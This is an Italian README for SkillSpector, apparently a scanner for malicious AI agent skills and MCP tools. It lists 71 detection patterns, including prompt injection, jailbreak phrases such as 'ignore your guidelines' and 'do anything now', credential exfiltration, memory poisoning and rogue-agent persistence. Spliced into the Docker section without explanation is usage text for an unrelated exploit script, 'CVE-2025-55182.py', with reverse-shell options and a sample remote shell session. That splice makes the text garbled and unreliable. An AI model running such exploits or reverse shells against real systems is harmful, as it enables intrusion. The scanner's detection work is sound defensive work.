Se prevedi di eseguire `skillspector mcp`, installa l'extra MCP al momento dell'installazione:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

### Docker (nessun Python richiesto)

Esegui SkillSpector senza installare Python compilandolo localmente dal [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) incluso. L'immagine si basa sull'immagine Docker Official Python `3.12-slim-bookworm`.

**Compila l'immagine:**```bash
make docker-build
# or: docker build -t skillspector .

**Scansione con analisi LLM** passando le credenziali tramite un file `.env` locale:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF

python3 CVE-2025-55182.py -u <URL> [--cmd <command>] [--lhost <IP>] [--lport <PORT>] [--revshell <type>] [--proxy <URL>] [--no-color]

# Modalità interattiva (shell predefinita)
python3 CVE-2025-55182.py -u http://target:3000

# Esegue un singolo comando
python3 CVE-2025-55182.py -u http://target:3000 --cmd "id"

# Reverse shell bash
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell bash

# Reverse shell Python3
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell python3

# Reverse shell PowerShell
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell powershell

# Tramite proxy (Burp Suite)
python3 CVE-2025-55182.py -u http://target:3000 --proxy http://127.0.0.1:8080

[+] Shell interattiva avviata. Digita 'exit' per uscire.
$ id
uid=1000(node) gid=1000(node) groups=1000(node)
$ whoami
node
$ exit

Oppure passa le credenziali direttamente dal tuo ambiente shell:```bash
docker run --rm \
  -v "$PWD:/scan" \
  -e SKILLSPECTOR_PROVIDER=anthropic \
  -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
  skillspector scan ./my-skill/

**Alias opzionale** per scansioni statiche ripetute:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm

#### Limiti di dimensione

SkillSpector applica due limiti indipendenti sugli input remoti e sugli archivi per circoscrivere l'impatto di download sovradimensionati e zip bomb:

- **Limite per ingest**: `INGEST_MAX_BYTES` (100 MiB) — applicato ai download URL in streaming, alla dimensione totale non compressa degli archivi zip e all'utilizzo del disco post-clone dei repository Git.
- **Limite per membro zip**: `INGEST_MAX_ZIP_MEMBERS` (10.000) — limita il numero di voci in un singolo zip.

Si noti che il limite di analisi di 1 MB per file (`MAX_FILE_BYTES`) è un limite separato e a valle: circoscrive ciò che i singoli analizzatori leggeranno da una directory già sottoposta a ingest. I limiti di ingest sopra indicati circoscrivono invece quanti contenuti possono essere effettivamente scritti su disco. Una violazione di uno qualsiasi dei limiti di ingest fallisce in modo sicuro con un `IngestLimitExceededError`.

### Formati di output```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/

# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json

# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md

# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif

Supporta il rilevamento multilingue (zh/ja/ko) e l'output in terminale/JSON/Markdown.

Per le scansioni LLM con concorrenza più elevata, configura più chiavi API seguendo
[`.env.example`](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/.env.example) — il pool migliora il throughput
e la resilienza, a condizione che le chiavi non condividano un limite di velocità a livello di account.

Consulta la [guida per i contributori](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/docs) per i dettagli.

> **Nota sul supporto LLM:** La configurazione predefinita punta a DeepSeek come
> opzione pubblica più economica. DeepSeek-Chat è
> [previsto in dismissione](https://api-docs.deepseek.com/), e il contributore
> non dispone dell'hardware per testare modelli locali. Lo scanner batch è stato
> originariamente testato con endpoint compatibili con OpenAI — la mancanza di
> supporto per l'output strutturato di DeepSeek ha richiesto patch manuali per il parsing JSON. Se puoi
> contribuire con un backend più universale (Ollama, vLLM o un provider diverso),
> le PR sono molto benvenute.

### Soppressione dei falsi positivi (baseline)

Sopprimi i risultati noti/accettati in modo che il punteggio di rischio rifletta solo i problemi
non ancora analizzati e le nuove scansioni facciano emergere solo i risultati *nuovi*. Consulta la
[guida alla soppressione](https://github.com/nvidia/skillspector/blob/main/docs/SUPPRESSION.md) per il riferimento completo.```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml

# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml

# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed

### MCP Server

Esegui SkillSpector come server [Model Context Protocol](https://modelcontextprotocol.io)
in modo che qualsiasi agente compatibile con MCP (Claude Code, Codex CLI, Gemini CLI) o runtime
remoto possa invocare la scansione come strumento e **bloccare le installazioni di skill/MCP in base al
risultato** — trasformando SkillSpector in una barriera di sicurezza a runtime invece che in un
passaggio di audit fuori banda.

`skillspector mcp` richiede `skillspector[mcp]`.```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

# FastMCP stdio transport for local CLI agents
skillspector mcp

# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000

> **Sicurezza — modello di fiducia del trasporto HTTP**
>
> Il trasporto HTTP viene fornito **senza autenticazione**. Qualsiasi chiamante che riesca a
> raggiungere la porta può invocare `scan_skill`. Su stdio o `127.0.0.1` questo rappresenta
> lo stesso confine di fiducia della CLI. Se si esegue il binding su un'interfaccia instradabile:
>
> - Collocare il server dietro un reverse proxy con autenticazione (ad es. nginx + mTLS)
>   prima di esporlo esternamente.
> - I percorsi locali e gli URL `file://` vengono **automaticamente rifiutati** su HTTP per
>   impedire a chiamanti non autenticati di leggere file arbitrari dell'host. Sono accettati
>   solo URL Git remoti e `.zip`.

## Pattern di vulnerabilità

SkillSpector rileva **71 pattern di vulnerabilità** in 17 categorie:

### Prompt Injection (6 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| P1 | Instruction Override | HIGH | Comandi per ignorare i vincoli di sicurezza |
| P2 | Hidden Instructions | HIGH | Direttive malevole in commenti/testo invisibile |
| P3 | Exfiltration Commands | HIGH | Istruzioni per trasmettere il contesto all'esterno |
| P4 | Behavior Manipulation | MEDIUM | Istruzioni subdole che alterano le decisioni dell'agente |
| P5 | Harmful Content | CRITICAL | Istruzioni che potrebbero causare danni fisici |
| P9 | Whitespace Padding | MEDIUM | Ampio riempimento di spazi bianchi che nasconde istruzioni sotto/accanto all'area visibile |

### Anti-Refusal (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| AR1 | Refusal Suppression | HIGH | Istruzioni a non rifiutare mai o a conformarsi sempre (ad es. "never refuse", "always comply") |
| AR2 | Disclaimer Suppression | HIGH | Istruzioni a omettere avvertenze, disclaimer o commenti etici (ad es. "no disclaimers", "do not moralize") |
| AR3 | Safety Policy Nullification | HIGH | Inquadramento jailbreak che annulla le protezioni (ad es. "you have no restrictions", "ignore your guidelines", "do anything now") |

### Data Exfiltration (4 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| E1 | External Transmission | MEDIUM | Invio di dati a URL esterni |
| E2 | Env Variable Harvesting | HIGH | Enumerazione, copia o ricerca di dati d'ambiente per raccogliere segreti |
| E3 | File System Enumeration | MEDIUM | Scansione di directory alla ricerca di file sensibili |
| E4 | Context Leakage | HIGH | Trasmissione del contesto della conversazione all'esterno |

### Privilege Escalation (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| PE1 | Excessive Permissions | LOW | Richiesta di accesso oltre la funzionalità dichiarata |
| PE2 | Sudo/Root Execution | MEDIUM | Invocazione di privilegi di sistema elevati |
| PE3 | Credential Access | HIGH | Lettura di chiavi SSH, token, password |

### Supply Chain (9+ pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| SC1 | Unpinned Dependencies | LOW | Nessun vincolo di versione sui pacchetti |
| SC2 | External Script Fetching | HIGH | curl \| bash ed esecuzione di codice remoto |
| SC3 | Obfuscated Code | HIGH | Esecuzione codificata in Base64/hex |
| SC4 | Known Vulnerable Dependencies | HIGH | Dipendenze con CVE note (ricerca live su OSV.dev) |
| SC5 | Abandoned Dependencies | MEDIUM | Pacchetti non mantenuti senza aggiornamenti di sicurezza |
| SC6 | Typosquatting | HIGH | Nomi di pacchetti simili a pacchetti popolari |
| SC8 | Shipped Python Bytecode | HIGH | `__pycache__` / `.pyc` presenti (la discovery li salta; bypass tramite bytecode malevolo) |
| SC9 | Concealed Executable Artifact | HIGH | Eseguibile annidato in un contenitore documento o artefatto nascosto/mascherato |

### Excessive Agency (5 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| EA1 | Unrestricted Tool Access | HIGH | Accesso illimitato agli strumenti senza vincoli |
| EA2 | Autonomous Decision Making | HIGH | Decisioni ad alto impatto senza intervento umano |
| EA3 | Scope Creep | MEDIUM | Capacità che si estendono oltre lo scopo dichiarato |
| EA4 | Unbounded Resource Access | MEDIUM | Nessun limite di frequenza o quota sul consumo di risorse |
| EA5 | External Model or Provider Selection | MEDIUM/HIGH | Pin di modello/provider o shell-out di CLI di coding che possono cambiare account di fatturazione |

### Output Handling (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| OH1 | Unvalidated Output Injection | HIGH | Output del modello usato senza sanitizzazione |
| OH2 | Cross-Context Output | MEDIUM | L'output attraversa confini di fiducia senza validazione |
| OH3 | Unbounded Output | MEDIUM | Nessun limite alla dimensione dell'output o alla frequenza di generazione |

### System Prompt Leakage (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| P6 | Direct Leakage | HIGH | Istruzioni che espongono system prompt o regole interne |
| P7 | Indirect Extraction | MEDIUM | Estrazione tramite riformulazione, traduzione o canali laterali |
| P8 | Tool-Based Exfiltration | HIGH | System prompt esfiltrati tramite scritture su file o richieste di rete |

### Memory Poisoning (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| MP1 | Persistent Context Injection | HIGH | Contenuto progettato per persistere tra le interazioni |
| MP2 | Context Window Stuffing | MEDIUM | Contenuto riempitivo che spiazza i vincoli di sicurezza |
| MP3 | Memory Manipulation | HIGH | Manomissione della memoria dell'agente o dello stato memorizzato |

### Tool Misuse (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TM1 | Tool Parameter Abuse | HIGH | Parametri costruiti ad arte per comportamenti non previsti (shell=True, --force) |
| TM2 | Chaining Abuse | HIGH | Catene di strumenti che aggirano i singoli controlli di sicurezza |
| TM3 | Unsafe Defaults | MEDIUM | Default eccessivamente permissivi (TLS disabilitato, nessuna autenticazione) |

### Rogue Agent (2 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| RA1 | Self-Modification | CRITICAL | Modifica del proprio codice o configurazione a runtime |
| RA2 | Session Persistence | HIGH | Persistenza non autorizzata tramite cron job o script di avvio |

### Trigger Abuse (3 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TR1 | Overly Broad Trigger | MEDIUM | Pattern di trigger che corrispondono a parole comuni |
| TR2 | Shadow Command Trigger | HIGH | Trigger che oscurano comandi integrati o altre skill |
| TR3 | Keyword Baiting Trigger | MEDIUM | Trigger generici progettati per massimizzare l'attivazione |

### Behavioral AST (9 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| AST1 | exec() Call | CRITICAL | exec() diretto che consente l'esecuzione di codice arbitrario |
| AST2 | eval() Call | HIGH | eval() diretto che valuta espressioni arbitrarie |
| AST3 | Dynamic Import | HIGH | \_\_import\_\_() che carica moduli arbitrari a runtime |
| AST4 | subprocess Call | HIGH | Esecuzione di comandi esterni tramite subprocess |
| AST5 | os.system / exec-family | HIGH | Comandi shell tramite il modulo os |
| AST6 | compile() Call | MEDIUM | Creazione di oggetti codice da stringhe |
| AST7 | Dynamic getattr() | MEDIUM | Accesso ad attributi arbitrari con nomi non letterali |
| AST8 | Dangerous Execution Chain | CRITICAL | exec/eval combinati con sorgente dinamica (rete, dati codificati) |
| AST9 | Reflective getattr() Sink | HIGH | exec riflessivo tramite `getattr(os,'system')` / `getattr(builtins,'exec')` che elude AST1/AST5 |

### Taint Tracking (5 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TT1 | Direct Taint Flow | HIGH | I dati fluiscono direttamente da una sorgente a un sink senza sanitizzazione |
| TT2 | Variable-Mediated Taint Flow | MEDIUM | I dati fluiscono dalla sorgente al sink attraverso variabili intermedie |
| TT3 | Credential Exfiltration Chain | CRITICAL | Le credenziali (variabili d'ambiente, segreti) fluiscono verso sink di output di rete |
| TT4 | File Read to Network Exfiltration | HIGH | Il contenuto dei file fluisce verso sink di output di rete |
| TT5 | External Input to Code Execution | CRITICAL | Input di rete o utente fluisce verso sink exec/eval/subprocess |

### YARA Signatures (4 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| YR1 | Malware Match | CRITICAL | Corrispondenza di regola YARA per firme di malware note |
| YR2 | Webshell Match | CRITICAL | Corrispondenza di regola YARA per pattern di webshell |
| YR3 | Cryptominer Match | HIGH | Corrispondenza di regola YARA per indicatori di crypto mining |
| YR4 | Hack Tool / Exploit Match | HIGH | Corrispondenza di regola YARA per hack tool o codice exploit |

### MCP Least Privilege (4 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| LP1 | Underdeclared Capability | HIGH | Il codice usa capacità non elencate nei permessi dichiarati |
| LP2 | Wildcard Permission | MEDIUM | L'elenco dei permessi contiene wildcard (\*, all, full, any) |
| LP3 | Missing Permission Declaration | MEDIUM | Nessun campo permessi ma il codice ha capacità rilevabili |
| LP4 | Overdeclared Permission | LOW | Permesso dichiarato ma nessuna capacità corrispondente trovata nel codice |

### MCP Tool Poisoning (4 pattern)

| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TP1 | Hidden Instructions | HIGH | Direttive nascoste nei metadati (commenti HTML, caratteri a larghezza zero, base64, data URI) |
| TP2 | Unicode Deception | HIGH | Omoglifi, override RTL, identificatori a script misto nei metadati degli strumenti |
| TP3 | Parameter Description Injection | MEDIUM | Pattern di injection nelle definizioni dei parametri (override, token di sistema, default malevoli) |
| TP4 | Description-Behavior Mismatch | MEDIUM | La descrizione dichiarata dello strumento non corrisponde al comportamento effettivo del codice (basato su LLM) |

Tutti i pattern rilevati sono elencati nelle tabelle sopra.

## Punteggio di rischio

### Calcolo del punteggio

- **Problemi CRITICAL**: +50 punti
- **Problemi HIGH**: +25 punti
- **Problemi MEDIUM**: +10 punti
- **Problemi LOW**: +5 punti
- **Script eseguibili**: moltiplicatore 1.3x

### Livelli di gravità

| Punteggio | Gravità | Raccomandazione |
|-----------|---------|-----------------|
| 0-20 | LOW | SAFE |
| 21-50 | MEDIUM | CAUTION |
| 51-80 | HIGH | DO NOT INSTALL |
| 81-100 | CRITICAL | DO NOT INSTALL |

## Esempio di output

### Output del terminale```
 SkillSpector Security Report  v2.0.0

Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC

        Risk Assessment
 Metric          Value
 Score           78/100
 Severity        HIGH
 Recommendation  DO NOT INSTALL

        Components (3)
 File              Type      Lines  Executable
 SKILL.md          markdown    142  No
 scripts/sync.py   python       87  Yes
 requirements.txt  text          3  No

Issues (2)

  HIGH: Env Variable Harvesting (E2)
    Location: scripts/sync.py:23
    Finding: for key, val in os.environ.items():...
    Confidence: 94%
    Explanation: This code collects environment variables containing
    API keys and secrets, then sends them to an external server.

  HIGH: External Transmission (E1)
    Location: scripts/sync.py:45
    Finding: requests.post("https://api.skill.io/env"...
    Confidence: 89%
    Explanation: Data is being sent to an external server. Combined
    with env harvesting above, this indicates credential exfiltration.

## Integrare SkillSpector

SkillSpector è progettato per essere guidato da altri strumenti (pipeline CI, gate di installazione, integrazioni con editor). Il suo codice di uscita e l'output JSON sono un contratto stabile.

### Codici di uscita

`skillspector scan` termina con:

| Codice | Significato |
|------|---------|
| `0` | Scansione completata, `risk_score` ≤ 50 (raccomandazione `SAFE` o `CAUTION`) |
| `1` | Scansione completata, `risk_score` > 50 (raccomandazione `DO_NOT_INSTALL`) |
| `2` | Errore (input non valido, sorgente non leggibile, errore interno) |

> Il codice di uscita raggruppa `SAFE` e `CAUTION` in `0`. Per agire diversamente su di essi (ad es. *avvisare* su `CAUTION` ma *bloccare* su `DO_NOT_INSTALL`), leggere il campo `recommendation` dall'output JSON invece di affidarsi al codice di uscita.

### Output leggibile dalla macchina

`--format json` produce un report JSON; senza `--output`/`-o` viene scritto su stdout:```bash
skillspector scan ./my-skill/ --format json

- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`.
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`, mappato dalla severità: `LOW → SAFE`, `MEDIUM → CAUTION`, `HIGH`/`CRITICAL → DO_NOT_INSTALL`.
- `metadata.llm_error` appare solo quando l'analisi LLM è stata richiesta ma non è disponibile.
- `metadata.inference_usage` contiene un record sanitizzato per ogni risposta LLM quando il
  provider espone i contatori di token. È una lista vuota quando l'utilizzo non è disponibile;
  SkillSpector non stima mai i token mancanti. I totali dei prompt includono le letture e
  le scritture della cache, così il pricing a valle può separare in sicurezza quelle partizioni.
  `model_source` distingue un modello provider identificato in modo indipendente dal
  modello esatto richiesto utilizzato quando l'identità della risposta è assente o ambigua.
  SkillSpector attualmente non invia i controlli di prompt-cache di Anthropic, quindi le sue
  richieste di scansione non possono selezionare i livelli separati di cache-write da 5 minuti o 1 ora;
  i campi di risposta specifici per TTL vengono normalizzati in modo difensivo nel contatore
  aggregato di cache-write.
- Vedi [Inference usage telemetry](https://github.com/nvidia/skillspector/blob/main/docs/INFERENCE_USAGE.md) per il contratto completo di
  provenienza, contabilità della cache, privacy, ingestione fail-closed e pricing a valle.
- La forma completa per singolo problema è definita da `Finding.to_dict()` in [models.py](https://github.com/nvidia/skillspector/blob/main/src/skillspector/models.py); affidati ai campi sopra e tratta qualsiasi campo aggiuntivo come best-effort.

Per il tooling CI/IDE, `--format sarif` emette SARIF 2.1.0.

### Mappatura consigliata del gate

Quando usi SkillSpector come gate di installazione, mappa la raccomandazione a un'azione:

| `recommendation` | Azione suggerita |
|------------------|------------------|
| `SAFE` | consenti |
| `CAUTION` | chiedi conferma / avvisa l'utente |
| `DO_NOT_INSTALL` | blocca |

SkillSpector calcola la fascia di punteggio e la raccomandazione; quanto sia severo il gate (ad es. se `CAUTION` blocca in CI) è una decisione di policy per il tool che lo integra.

## Sviluppo

### Setup

Tutti i target `make` presuppongono che un ambiente virtuale sia già creato e attivato. Il Makefile usa **uv** se disponibile, altrimenti **pip**.```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev

# Run tests
make test

# Run tests with coverage
make test-cov

# Run linting
make lint

# Format code
make format

## Licenza

Apache License 2.0 - consulta [LICENSE](https://github.com/nvidia/skillspector/blob/main/LICENSE) per i dettagli.

## Contribuire

I contributi sono benvenuti! Ti invitiamo a leggere le nostre linee guida per i contributi e a inviare pull request.

## Supporto

- **Problemi**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)